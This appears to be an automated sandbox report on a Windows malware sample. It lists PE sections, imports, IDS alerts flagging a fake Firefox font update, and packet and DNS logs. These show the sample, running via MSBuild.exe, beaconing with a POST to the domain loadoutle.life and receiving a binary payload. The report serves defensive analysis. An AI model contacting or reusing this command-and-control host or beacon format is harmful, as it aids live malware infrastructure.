_RDATA	0x3d000	0x1f4	0x200	7b11f7add986212d544d974c3e5f9c4f	False	0.53125	data	4.225546917809558	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3e000	0x668	0x800	edea3649b03d6ab7210f59a9f658694e	False	0.501953125	data	4.9254112948995346	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.bss	0x3f000	0x58a00	0x58a00	a9b71459afea845debb1c770cb028691	False	1.000333325987306	data	7.999482203248212	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

CloseHandle, CompareStringW, CreateFileW, DeleteCriticalSection, EncodePointer, EnterCriticalSection, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlsAlloc, FlsFree, FlsGetValue, FlsSetValue, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileType, GetLastError, GetModuleFileNameW, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, RtlCaptureContext, RtlLookupFunctionEntry, RtlPcToFileHeader, RtlUnwindEx, RtlVirtualUnwind, SetEndOfFile, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WideCharToMultiByte, WriteConsoleW, WriteFile

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-16T19:04:00.648820+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49710	188.114.96.3	443	TCP
2025-03-16T19:04:01.765064+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49711	188.114.96.3	443	TCP
2025-03-16T19:04:02.787127+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49712	188.114.96.3	443	TCP
2025-03-16T19:04:04.280018+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49713	188.114.96.3	443	TCP
2025-03-16T19:04:05.442238+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49716	188.114.96.3	443	TCP
2025-03-16T19:04:06.603608+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49717	188.114.96.3	443	TCP
2025-03-16T19:04:08.566598+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49719	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 16, 2025 19:04:00.140960932 CET	49710	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:00.140997887 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:00.141098976 CET	49710	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:00.143889904 CET	49710	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:00.143907070 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:00.648585081 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:00.648819923 CET	49710	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:00.653186083 CET	49710	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:00.653194904 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:00.653469086 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:00.696316957 CET	49710	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:00.726372957 CET	49710	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:00.726409912 CET	49710	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:00.726674080 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:00.932554007 CET	49671	443	192.168.2.4	204.79.197.203
Mar 16, 2025 19:04:01.123153925 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.123200893 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.123229980 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.123255968 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.123284101 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.123303890 CET	49710	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:01.123310089 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.123322010 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.123362064 CET	49710	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:01.123610973 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.123653889 CET	49710	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:01.123663902 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.123702049 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.123724937 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.123739004 CET	49710	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:01.123745918 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.123778105 CET	49710	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:01.231009007 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.231089115 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.231134892 CET	49710	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:01.232219934 CET	49710	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:01.232234955 CET	443	49710	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.244719982 CET	49671	443	192.168.2.4	204.79.197.203
Mar 16, 2025 19:04:01.301422119 CET	49711	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:01.301465988 CET	443	49711	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.301543951 CET	49711	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:01.301877975 CET	49711	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:01.301882029 CET	443	49711	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.765000105 CET	443	49711	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.765064001 CET	49711	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:01.766661882 CET	49711	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:01.766680002 CET	443	49711	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.767118931 CET	443	49711	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.768471003 CET	49711	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:01.768593073 CET	49711	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:01.768877983 CET	443	49711	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.768920898 CET	49711	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:01.768934965 CET	443	49711	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:01.854269981 CET	49671	443	192.168.2.4	204.79.197.203
Mar 16, 2025 19:04:02.300709009 CET	443	49711	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:02.300815105 CET	443	49711	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:02.300970078 CET	49711	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:02.301189899 CET	49711	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:02.301239967 CET	443	49711	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:02.321224928 CET	49712	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:02.321278095 CET	443	49712	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:02.321391106 CET	49712	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:02.321702003 CET	49712	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:02.321712971 CET	443	49712	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:02.787033081 CET	443	49712	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:02.787127018 CET	49712	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:02.788317919 CET	49712	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:02.788343906 CET	443	49712	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:02.788589954 CET	443	49712	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:02.789695024 CET	49712	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:02.789802074 CET	49712	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:02.789841890 CET	443	49712	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:03.057269096 CET	49671	443	192.168.2.4	204.79.197.203
Mar 16, 2025 19:04:03.245770931 CET	443	49712	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:03.246598959 CET	443	49712	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:03.246701002 CET	49712	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:03.277580023 CET	49712	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:03.277611971 CET	443	49712	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:03.822113037 CET	49713	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:03.822160959 CET	443	49713	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:03.822221994 CET	49713	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:03.822757959 CET	49713	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:03.822765112 CET	443	49713	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:04.279916048 CET	443	49713	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:04.280018091 CET	49713	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:04.281263113 CET	49713	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:04.281286001 CET	443	49713	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:04.281507969 CET	443	49713	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:04.282830000 CET	49713	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:04.282968998 CET	49713	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:04.282993078 CET	443	49713	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:04.283051968 CET	49713	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:04.283062935 CET	443	49713	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:04.816122055 CET	443	49713	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:04.816216946 CET	443	49713	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:04.816260099 CET	49713	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:04.816406012 CET	49713	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:04.816436052 CET	443	49713	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:04.916387081 CET	49716	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:04.916448116 CET	443	49716	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:04.916527987 CET	49716	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:04.936420918 CET	49716	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:04.936445951 CET	443	49716	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:05.442166090 CET	443	49716	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:05.442238092 CET	49716	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:05.443456888 CET	49716	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:05.443468094 CET	443	49716	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:05.443686962 CET	443	49716	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:05.444889069 CET	49716	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:05.444994926 CET	49716	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:05.445008993 CET	443	49716	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:05.463471889 CET	49671	443	192.168.2.4	204.79.197.203
Mar 16, 2025 19:04:05.820334911 CET	443	49716	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:05.820446968 CET	443	49716	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:05.820525885 CET	49716	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:05.820856094 CET	49716	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:05.820880890 CET	443	49716	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:06.123332024 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.123378038 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:06.123446941 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.123748064 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.123753071 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:06.603521109 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:06.603607893 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.604907990 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.604922056 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:06.605145931 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:06.606357098 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.607048988 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.607074976 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:06.607155085 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.607180119 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:06.607264996 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.607295036 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:06.607388973 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.607414007 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:06.607521057 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.607549906 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:06.607672930 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.607701063 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:06.607716084 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.607820988 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.607851028 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.618000031 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:06.618134022 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.618159056 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:06.618177891 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.618192911 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.618402958 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.618438005 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.624138117 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:06.624277115 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:06.624317884 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.095216990 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.095304012 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.095346928 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:08.095525026 CET	49717	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:08.095545053 CET	443	49717	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.100157022 CET	49719	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:08.100235939 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.100327969 CET	49719	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:08.100600004 CET	49719	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:08.100627899 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.566513062 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.566597939 CET	49719	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:08.567790031 CET	49719	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:08.567827940 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.568094969 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.569386005 CET	49719	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:08.569426060 CET	49719	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:08.569467068 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.972058058 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.972105026 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.972135067 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.972148895 CET	49719	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:08.972174883 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.972212076 CET	49719	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:08.972213030 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.972223997 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.972270012 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.972278118 CET	49719	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:08.972284079 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.972323895 CET	49719	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:08.972330093 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.972548008 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.972588062 CET	49719	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:08.973380089 CET	49719	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:08.973408937 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:08.973424911 CET	49719	443	192.168.2.4	188.114.96.3
Mar 16, 2025 19:04:08.973431110 CET	443	49719	188.114.96.3	192.168.2.4
Mar 16, 2025 19:04:09.700464964 CET	49678	443	192.168.2.4	20.189.173.27
Mar 16, 2025 19:04:10.012465000 CET	49678	443	192.168.2.4	20.189.173.27
Mar 16, 2025 19:04:10.275996923 CET	49671	443	192.168.2.4	204.79.197.203
Mar 16, 2025 19:04:10.619770050 CET	49678	443	192.168.2.4	20.189.173.27
Mar 16, 2025 19:04:11.822861910 CET	49678	443	192.168.2.4	20.189.173.27
Mar 16, 2025 19:04:13.111166000 CET	49681	80	192.168.2.4	2.17.190.73
Mar 16, 2025 19:04:13.416665077 CET	49681	80	192.168.2.4	2.17.190.73
Mar 16, 2025 19:04:13.762012005 CET	49708	443	192.168.2.4	52.113.196.254
Mar 16, 2025 19:04:13.762681961 CET	49708	443	192.168.2.4	52.113.196.254
Mar 16, 2025 19:04:13.762878895 CET	49708	443	192.168.2.4	52.113.196.254
Mar 16, 2025 19:04:13.769392014 CET	443	49708	52.113.196.254	192.168.2.4
Mar 16, 2025 19:04:13.770453930 CET	443	49708	52.113.196.254	192.168.2.4
Mar 16, 2025 19:04:13.770469904 CET	443	49708	52.113.196.254	192.168.2.4
Mar 16, 2025 19:04:13.866744041 CET	443	49708	52.113.196.254	192.168.2.4
Mar 16, 2025 19:04:13.866794109 CET	49708	443	192.168.2.4	52.113.196.254
Mar 16, 2025 19:04:13.996553898 CET	443	49708	52.113.196.254	192.168.2.4
Mar 16, 2025 19:04:13.996612072 CET	49708	443	192.168.2.4	52.113.196.254
Mar 16, 2025 19:04:14.026011944 CET	49681	80	192.168.2.4	2.17.190.73
Mar 16, 2025 19:04:14.235285997 CET	49678	443	192.168.2.4	20.189.173.27
Mar 16, 2025 19:04:14.284487963 CET	49724	80	192.168.2.4	142.250.186.99
Mar 16, 2025 19:04:14.289237022 CET	80	49724	142.250.186.99	192.168.2.4
Mar 16, 2025 19:04:14.289297104 CET	49724	80	192.168.2.4	142.250.186.99
Mar 16, 2025 19:04:14.289405107 CET	49724	80	192.168.2.4	142.250.186.99
Mar 16, 2025 19:04:14.294110060 CET	80	49724	142.250.186.99	192.168.2.4
Mar 16, 2025 19:04:14.946543932 CET	80	49724	142.250.186.99	192.168.2.4
Mar 16, 2025 19:04:14.952136040 CET	49724	80	192.168.2.4	142.250.186.99
Mar 16, 2025 19:04:14.956842899 CET	80	49724	142.250.186.99	192.168.2.4
Mar 16, 2025 19:04:15.132726908 CET	80	49724	142.250.186.99	192.168.2.4
Mar 16, 2025 19:04:15.182290077 CET	49724	80	192.168.2.4	142.250.186.99
Mar 16, 2025 19:04:15.230370045 CET	49681	80	192.168.2.4	2.17.190.73
Mar 16, 2025 19:04:17.635385990 CET	49681	80	192.168.2.4	2.17.190.73
Mar 16, 2025 19:04:19.041690111 CET	49678	443	192.168.2.4	20.189.173.27
Mar 16, 2025 19:04:19.885392904 CET	49671	443	192.168.2.4	204.79.197.203
Mar 16, 2025 19:04:22.448128939 CET	49681	80	192.168.2.4	2.17.190.73
Mar 16, 2025 19:04:28.651140928 CET	49678	443	192.168.2.4	20.189.173.27
Mar 16, 2025 19:04:32.057356119 CET	49681	80	192.168.2.4	2.17.190.73
Mar 16, 2025 19:05:15.792216063 CET	49724	80	192.168.2.4	142.250.186.99
Mar 16, 2025 19:05:15.797363043 CET	80	49724	142.250.186.99	192.168.2.4
Mar 16, 2025 19:05:15.797467947 CET	49724	80	192.168.2.4	142.250.186.99

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 16, 2025 19:04:00.002619028 CET	59082	53	192.168.2.4	1.1.1.1
Mar 16, 2025 19:04:00.133869886 CET	53	59082	1.1.1.1	192.168.2.4
Mar 16, 2025 19:04:14.277107954 CET	63313	53	192.168.2.4	1.1.1.1
Mar 16, 2025 19:04:14.283926964 CET	53	63313	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 16, 2025 19:04:00.002619028 CET	192.168.2.4	1.1.1.1	0x257d	Standard query (0)	loadoutle.life	A (IP address)	IN (0x0001)	false
Mar 16, 2025 19:04:14.277107954 CET	192.168.2.4	1.1.1.1	0x1a1e	Standard query (0)	c.pki.goog	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 16, 2025 19:04:00.133869886 CET	1.1.1.1	192.168.2.4	0x257d	No error (0)	loadoutle.life		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 16, 2025 19:04:00.133869886 CET	1.1.1.1	192.168.2.4	0x257d	No error (0)	loadoutle.life		188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 16, 2025 19:04:13.795176029 CET	1.1.1.1	192.168.2.4	0x7940	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Mar 16, 2025 19:04:13.795176029 CET	1.1.1.1	192.168.2.4	0x7940	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Mar 16, 2025 19:04:14.283926964 CET	1.1.1.1	192.168.2.4	0x1a1e	No error (0)	c.pki.goog	pki-goog.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 16, 2025 19:04:14.283926964 CET	1.1.1.1	192.168.2.4	0x1a1e	No error (0)	pki-goog.l.google.com		142.250.186.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

loadoutle.life

c.pki.goog

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.4	49724	142.250.186.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 16, 2025 19:04:14.289405107 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 16, 2025 19:04:14.946543932 CET	223	IN	HTTP/1.1 304 Not Modified Date: Sun, 16 Mar 2025 17:21:22 GMT Expires: Sun, 16 Mar 2025 18:11:22 GMT Age: 2572 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 16, 2025 19:04:14.952136040 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 16, 2025 19:04:15.132726908 CET	223	IN	HTTP/1.1 304 Not Modified Date: Sun, 16 Mar 2025 17:21:22 GMT Expires: Sun, 16 Mar 2025 18:11:22 GMT Age: 2573 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49710	188.114.96.3	443	7624	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-16 18:04:00 UTC	266	OUT	POST /kpLsOAm HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 61 Host: loadoutle.life
2025-03-16 18:04:00 UTC	61	OUT	Data Raw: 75 69 64 3d 36 35 36 35 62 38 62 33 34 37 30 66 39 64 32 65 66 32 36 31 61 33 38 65 66 63 35 39 37 61 66 63 37 37 38 30 31 37 63 31 63 32 61 64 32 66 61 65 65 36 36 30 26 63 69 64 3d Data Ascii: uid=6565b8b3470f9d2ef261a38efc597afc778017c1c2ad2faee660&cid=
2025-03-16 18:04:01 UTC	786	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 18:04:01 GMT Content-Type: application/octet-stream Content-Length: 14134 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5zn2MkIOj5QdhZnhr4MOpXgXRA4hihdlhyHebyhTl47lCLtP2uBF8nA%2BFO4wpvNWh7oklLh3hJILB9qZXNVzt6TMV0QqX3LGwof%2FPi4p2%2F89Yfeo%2FfX1F9U4YpxjxWbQbw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92162ba8de735e79-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1749&min_rtt=1741&rtt_var=669&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2833&recv_bytes=963&delivery_rate=1617728&cwnd=205&unsent_bytes=0&cid=91b5ee1c9d82b5d3&ts=490&x=0"
